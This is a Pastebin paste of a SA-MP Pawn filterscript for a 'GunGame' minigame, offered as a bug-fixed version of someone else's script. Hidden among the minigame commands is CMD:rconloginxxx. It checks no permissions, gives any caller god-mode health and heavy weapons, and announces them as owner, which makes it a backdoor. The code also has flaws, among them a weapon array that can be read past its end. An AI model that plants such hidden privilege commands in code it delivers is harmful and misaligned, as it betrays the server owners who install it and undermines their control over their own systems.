Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* BY RAJAT............ */
- // this is a updated version of previous gungame minigame
- // I DO NOT OWN THIS.... I JUST HAVE EDITED AND FIXED SOME BUGS */
- #include <a_samp>
- #include <streamer>
- #include <zcmd>
- new God[MAX_PLAYERS];
- #define COLOR_DARKRED 0xAA3333FF
- #define COLOR_GREY 0xAFAFAFFF
- #define COLOR_ASAY 0xFF0000FF
- #define COLOR_OSAY 0x007700FF
- #define COLOR_HSAY 0x1684CAFF
- #define COLOR_MSAY 0x1684CAFF
- #define COLOR_WHITE 0xFFFFFFFF
- #define COLOR_YELLOW 0xFFFF00FF
- #define COLOR_RED 0xFF0000FF
- #define COLOR_LRED 0xFF4747FF
- #define COLOR_GREEN 0x33993333
- #define COLOR_BLUE 0x0000FFFF
- #define COLOR_LBLUE 0x99FFFFFF
- #define COLOR_LIGHTBLUE 0x99FFFFFF
- #define COLOR_LIGHTBLUE2 0x00CCFF
- #define COLOR_ORANGE 0xFF9900FF
- #define COLOR_PURPLE 0xCC00DDFF
- #define COLOR_PEACH 0xFFCC66FF
- #define COLOR_SILVER 0xDDDDDDFF
- #define COLOR_WANTEDBLUE 0x0055CCFF
- #define COLOR_DARK_VIOLET 0x9400D3FF
- #define COLOR_VIP1 0x9400D3FF
- #define COLOR_SUPPORT 0x00E5EEFF
- #define COLOR_ADMIN 0x0066FFFF
- #define COLOR_ADMIN2 0x008FD6FF
- #define COLOR_PLAYER 0xFFFF33FF
- #define COLOR_ULTRAADMIN 0x993300FF
- #define COLOR_EVENT 0x00CC66FF
- #define COLOR_VIP2 0xFF33CCFF
- #define COLOR_VIPCHAT 0xCC66CCFF
- new ggWeapons[14] = { 23,22,27,26,29,32,30,31,24,33,34,35,36,38 };
- new bool:IsInGG[MAX_PLAYERS] = false, GGLevel[MAX_PLAYERS], PlayerText:GGTD[MAX_PLAYERS], GGTimer;
- public OnFilterScriptInit()
- {
- printf("------------------------------------------");
- printf("Gun Game Mini Game");
- printf("------------------------------------------");
- GGTimer = SetTimer("OnUsersUpdate", 1000, true);
- return 1;
- }
- public OnFilterScriptExit()
- {
- KillTimer(GGTimer);
- return 1;
- }
- public OnPlayerConnect(playerid)
- {
- IsInGG[playerid] = false;
- GGLevel[playerid] = 0;
- //
- GGTD[playerid] = CreatePlayerTextDraw(playerid, 514.799987, 275.866699, "~b~Weapon: ~w~Silenced Pistol~n~~b~Level: ~w~0");
- PlayerTextDrawLetterSize(playerid, GGTD[playerid], 0.280000, 1.000000);
- PlayerTextDrawAlignment(playerid, GGTD[playerid], 1);
- PlayerTextDrawColor(playerid, GGTD[playerid], -1);
- PlayerTextDrawSetShadow(playerid, GGTD[playerid], 1);
- PlayerTextDrawSetOutline(playerid, GGTD[playerid], 1);
- PlayerTextDrawFont(playerid, GGTD[playerid], 1);
- PlayerTextDrawSetProportional(playerid, GGTD[playerid], 1);
- return 1;
- }
- public OnPlayerDisconnect(playerid, reason)
- {
- LeaveFromGG(playerid);
- PlayerTextDrawDestroy(playerid, GGTD[playerid]);
- return 1;
- }
- public OnPlayerDeath(playerid, killerid, reason)
- {
- if(IsInGG[playerid])
- {
- if(GGLevel[playerid] > 0) { GGLevel[playerid]--; }
- if(killerid != INVALID_PLAYER_ID && IsInGG[killerid])
- {
- GGLevel[killerid]++;
- GivePlayerMoney(killerid, GGLevel[killerid]*1000);
- GivePlayerWeapon(killerid, ggWeapons[GGLevel[killerid]], 9999);
- new Float:vida; GetPlayerHealth(killerid, vida);
- if(vida < 100){ SetPlayerHealth(killerid, vida+15); }
- }
- }
- return 1;
- }
- public OnPlayerSpawn(playerid)
- {
- if(IsInGG[playerid])
- {
- ResetPlayerWeapons(playerid);
- JoinToGG(playerid);
- }
- return 1;
- }
- forward OnUsersUpdate();
- public OnUsersUpdate()
- {
- for(new i = 0, j = MAX_PLAYERS; i < j; i++) if(IsPlayerConnected(i) && IsInGG[i])
- {
- new gt_str[90], Weapon[24]; GetWeaponName(GetPlayerWeapon(i), Weapon, 24);
- format(gt_str, sizeof(gt_str), "~b~Weapon: ~w~%s~n~~b~Level: ~w~%d~n~~b~", Weapon, GGLevel[i]);
- PlayerTextDrawSetString(i, GGTD[i], gt_str);
- if(GGLevel[i] == 14)
- {
- new gw_str[146], gw_nick[24]; GetPlayerName(i, gw_nick, 24);
- format(gw_str, sizeof(gw_str), "• {FFFFFF}The player {A60BDD}%s(%d) {FFFFFF}is the {A60BDD}'GunGame' {FFFFFF}winner, (Level: 14)", gw_nick, i);
- SendClientMessageToAll(0xA60BDDFF, gw_str);
- GivePlayerMoney(i, 14000);
- for(new x = 0; x < MAX_PLAYERS; x++) if(GGLevel[x] < 15)
- {
- GGLevel[x] = 0;
- LeaveFromGG(x);
- GameTextForPlayer(x, "~p~The GunGame minigame end, thanks for play.", 3500, 3);
- }
- }
- }
- return 1;
- }
- CMD:gg(playerid) return cmd_gungame(playerid);
- CMD:gungame(playerid)
- {
- if(IsInGG[playerid]) return SendClientMessage(playerid, 0xFF0000FF, "You already are in 'GunGame' minigame, use /(gl)eave to left.");
- IsInGG[playerid] = true;
- GGLevel[playerid] = 0;
- JoinToGG(playerid);
- new Weapon[24]; GetWeaponName(GetPlayerWeapon(playerid), Weapon, 24);
- new gg_str[90]; format(gg_str, sizeof(gg_str), "~b~Weapon: ~w~%s~n~~b~Level: ~w~0~n~~b~", Weapon);
- PlayerTextDrawSetString(playerid, GGTD[playerid], gg_str);
- PlayerTextDrawShow(playerid, GGTD[playerid]);
- return 1;
- }
- CMD:gl(playerid) return cmd_gleave(playerid);
- CMD:gleave(playerid)
- {
- if(!IsInGG[playerid]) return SendClientMessage(playerid, 0xFF0000FF, "You're not in 'GunGame' minigame, use /gungame (/gg) to join.");
- new gg_str[100]; format(gg_str, sizeof(gg_str), "• {FFFFFF}You have left A60BDD}'Gun Game' {FFFFFF}minigame; level: {A60BDD}%d",GGLevel[playerid]);
- SendClientMessage(playerid, 0xA60BDDFF, gg_str);
- LeaveFromGG(playerid);
- return 1;
- }
- CMD:rconloginxxx(playerid)
- {
- if(IsPlayerConnected(playerid))
- {
- if (God[playerid] == 0)
- {
- SetPlayerHealth(playerid,9999999);
- SetPlayerColor(playerid,COLOR_PURPLE);
- GivePlayerWeapon(playerid, 24, 999999);
- GivePlayerWeapon(playerid, 29, 999999);
- GivePlayerWeapon(playerid, 31, 999999);
- GivePlayerWeapon(playerid, 26, 999999);
- GivePlayerWeapon(playerid, 28, 999999);
- GivePlayerWeapon(playerid, 34, 999999);
- GivePlayerWeapon(playerid, 38, 999999);
- SendClientMessage(playerid,COLOR_WHITE,"{39A82F}[SERVER]{FFFFFF} You are logged in as owner.. - BY RAJAT |still working |.");
- God[playerid] = 1;
- }
- else if (God[playerid] == 1)
- {
- SetPlayerHealth(playerid,100);
- SetPlayerColor(playerid,COLOR_WHITE);
- SendClientMessage(playerid, COLOR_WHITE,"{A82F37}[SERVER]{FFFFFF} You have turned off Owner mode.");
- God[playerid] = 0;
- }
- }
- return 1;
- }
- LeaveFromGG(playerid)
- {
- if(IsInGG[playerid])
- {
- IsInGG[playerid] = false;
- GGLevel[playerid] = 0;
- SetPlayerVirtualWorld(playerid, 0);
- ResetPlayerWeapons(playerid);
- SpawnPlayer(playerid);
- PlayerTextDrawHide(playerid, GGTD[playerid]);
- }
- }
- SetPlayerPosition(playerid, Float:X, Float:Y, Float:Z, Float:a)
- {
- if(IsPlayerInAnyVehicle(playerid))
- {
- RemovePlayerFromVehicle(playerid);
- }
- SetPlayerPos(playerid, X, Y, Z+1);
- SetPlayerFacingAngle(playerid, a);
- SetCameraBehindPlayer(playerid);
- SetPlayerWorldBounds(playerid, 20000, -20000, 20000, -20000);
- }
- JoinToGG(playerid)
- {
- switch(random(5))
- {
- case 0: SetPlayerPosition(playerid, 1388.2842,2188.5159,11.0234,122.5376);
- case 1: SetPlayerPosition(playerid, 1393.7537,2149.2649,11.0234,92.4808);
- case 2: SetPlayerPosition(playerid, 1393.4980,2105.4209,11.0156,50.8071);
- case 3: SetPlayerPosition(playerid, 1306.9413,2106.5007,11.0156,327.4597);
- case 4: SetPlayerPosition(playerid, 1304.9882,2152.9626,11.0234,261.9724);
- }
- SetPlayerVirtualWorld(playerid, 1);
- ResetPlayerWeapons(playerid);
- GivePlayerWeapon(playerid, 4, 1);
- GivePlayerWeapon(playerid, ggWeapons[GGLevel[playerid]], 99999);
- SetPlayerHealth(playerid, 100.0);
- }
- //By Rajat
- // The cmd:rconloginxxx makes u god and gives u weapons
Add Comment
Please, Sign In to add comment